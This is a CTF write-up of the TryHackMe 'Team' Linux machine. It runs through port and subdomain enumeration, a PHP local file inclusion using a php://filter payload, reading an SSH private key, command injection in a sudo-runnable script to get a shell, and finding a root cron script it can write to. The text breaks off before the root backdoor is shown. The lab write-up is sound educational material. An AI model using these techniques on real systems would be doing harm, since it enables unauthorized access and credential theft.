TryHackMe | Team
Writeup of a easy-rated Linux Machine from TryHackMe
Enumeration
Scanning
Let’s start the enumeration process by scanning the target machine with Nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ nmap -sC -sV -A -T4 -p- 10.10.215.5
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-20 17:44 EDT
Nmap scan report for 10.10.215.5
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 795f116a85c20824306cd488741b794d (RSA)
| 256 af7e3f7eb4865883f1f6a254a69bbaad (ECDSA)
|_ 256 2625b07bdc3fb29437125dcd0698c79f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.4 (94%), Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 158.20 ms 10.8.0.1
2 149.85 ms 10.10.215.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.57 seconds
The target machine has 3 open ports:
- An FTP server
vsftpd 3.0.3
running on port21
(Anonymous login is disabled) - An SSH server
OpenSSH 7.6p1
running on port 22 - An HTTP server
Apache httpd 2.4.29
running on port 80
Service Enumeration
Enumerating team.thm
First things first, let’s assign a domain name, such as team.thm
to the target machine IP and add it to /etc/hosts
, in order to simplify the enumeration process.
1
$ echo '10.10.215.5 team.thm' >> /etc/hosts
Navigating to http://team.thm, you will be presented with the following page:
📍 Directory Fuzzing:
Let’s start the enumeration process by fuzzing directories using gobuster
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gobuster dir -u http://team.thm -w /usr/share/wordlists/dirb/common.txt -t 64 --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://team.thm
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/04/20 18:33:12 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 273]
/.htaccess (Status: 403) [Size: 273]
/.htpasswd (Status: 403) [Size: 273]
/assets (Status: 301) [Size: 305] [--> http://team.thm/assets/]
/images (Status: 301) [Size: 305] [--> http://team.thm/images/]
/index.html (Status: 200) [Size: 2966]
/robots.txt (Status: 200) [Size: 5]
/scripts (Status: 301) [Size: 306] [--> http://team.thm/scripts/]
Progress: 4614 / 4615 (99.98%)
===============================================================
2023/04/20 18:34:37 Finished
===============================================================
As you can see, Gobuster
found some interesting directories:
📍 Subdomain Fuzzing:
Let’s use ffuf
this time, which is a great tool when it comes to subdomain fuzzing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ffuf -u http://team.thm -H "Host: FUZZ.team.thm" -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://team.thm
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.team.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 128ms]
* FUZZ: mobile
[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 140ms]
* FUZZ: mysql
[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 152ms]
* FUZZ: beta
[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 161ms]
* FUZZ: admin
- This will print out a large number of subdomains with the same size (Content-Length)
11366
Let’s execute ffuf
one more time while filtering for responses that has a Content-Length value different than 11366
and with Status-Code 200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -u http://team.thm -H "Host: FUZZ.team.thm" -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c -fs 11366 -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://team.thm
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.team.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response size: 11366
________________________________________________
[Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 684ms]
* FUZZ: dev
Enumerating dev.team.thm:
Let’s add dev.team.thm
to /etc/hosts
file using the following command:
1
$ echo '10.10.215.5 dev.team.thm' >> /etc/hosts
Navigate to http://dev.team.thm:
By clicking on Place holder link to team share you will be presented with the following page
The URL contains a parameter named page
that is passed to the script.php
file. If the input to this parameter is not properly validated, it could be susceptible to injection attacks, such as LFI, SQL injection, XSS, etc.
Initial Access
Exploiting Local File Inclusion
Including /etc/passwd
Let’s try to include /etc/passwd
file:
- Based on the fact that entering the full path to a file is sufficient for it to be included by the script, I assume that the contents of
script.php
might resemble to something like this.
1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>
Including script.php
We can retrieve the content of script.php
by injecting the page parameter with the following:
1
php://filter/convert.base64-encode/resource=script.php
- This payload will access the contents of
script.php
file and encode it in base64 format using theconvert.base64-encode
filter - Let’s base64 decode the response to get the content of
script.php
:
1
$ echo -n 'Cjw/cGhwICAgCiRmaWxlID0gJF9HRVRbJ3BhZ2UnXTsKICAgaWYoaXNzZXQoJGZpbGUpKQogICB7CiAgICAgICBpbmNsdWRlKCIkZmlsZSIpOwogICB9CiAgIGVsc2UKICAgewogICAgICAgaW5jbHVkZSgidGVhbXNoYXJlLnBocCIpOwogICB9Cj8+Cg==' | base64 --decode
1
2
3
4
5
6
7
8
9
10
11
12
//script.php
<?php
$file = $_GET['page'];
if(isset($file))
{
include("$file");
}
else
{
include("teamshare.php");
}
?>
Automating LFI
To simplify the process, I have written a Python script that automates the exploitation of this LFI vulnerability.
🎯 Execution:
Fuzzing for sensitive files
I have compiled a wordlist comprising pertinent files in Linux OS
that are commonly used to store sensitive information. We can use this wordlist with Burp’s Intruder to potentially retrieve some sensitive information that can be leveraged to facilitate our exploitation.
- As you can see, we found
Dale
ssh private key'id_rsa'
, which can be used to establish an SSH connection asDale
. To do so, we must first save the private key in a file, set the file permissions to read-write only using the commandchmod 600 <filename>
, and finally establish the ssh connection asDale
:
1
2
3
4
5
6
7
8
9
10
11
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
... [snip] ...
-----END OPENSSH PRIVATE KEY-----
$ chmod 600 id_rsa
$ ssh -i id_rsa dale@team.thm
Shell as Dale
Enumeration
🚩 user.txt:
📍 Manual Enumeration:
Dale can run /home/gyles/admin_checks
as gyles
:
Content of /home/gyles/admin_checks
file:
- Overall,
/home/gyles/admin_checks
is a simple backup script that allows the user to enter their name and creates a backup file with a timestamp in the filename.
This bash script is vulnerable to Command Injection
, because it does not validate or sanitize the $error
variable. As a result, any command or code inputted into the $error
variable by the user would be executed by the script without any checks.
Shell as Gyles
Exploiting Command Injection
First of all, let’s try executing the id
command, by injecting id
into the $error variable:
So far so good, now to get a shell as gyles
we can inject /bin/bash
:
Shell stabilization: python3 -c 'import pty;pty.spawn("/bin/bash")'
:
Shell as root
Enumeration
Cronjobs
Let’s start a python webserver hosting pspy and upload it to TEAM
:
Let’s make it executable and run it:
1
2
$ chmod +x pspy32
$ ./pspy32
The script /opt/admin_stuff/script.sh
is executed every minute with root privileges (UID=0
)
/opt/admin_stuff/script.sh
- This script is executing 2 other scripts
/usr/local/sbin/dev_backup.sh
and/usr/local/bin/main_backup.sh
, which backs up the main and the dev site.
- Our user
gyles
has write permissions on one of those 2 scripts ‘/usr/local/bin/main_backup.sh
’, which means we can plant abackdoor
to get a shell as root: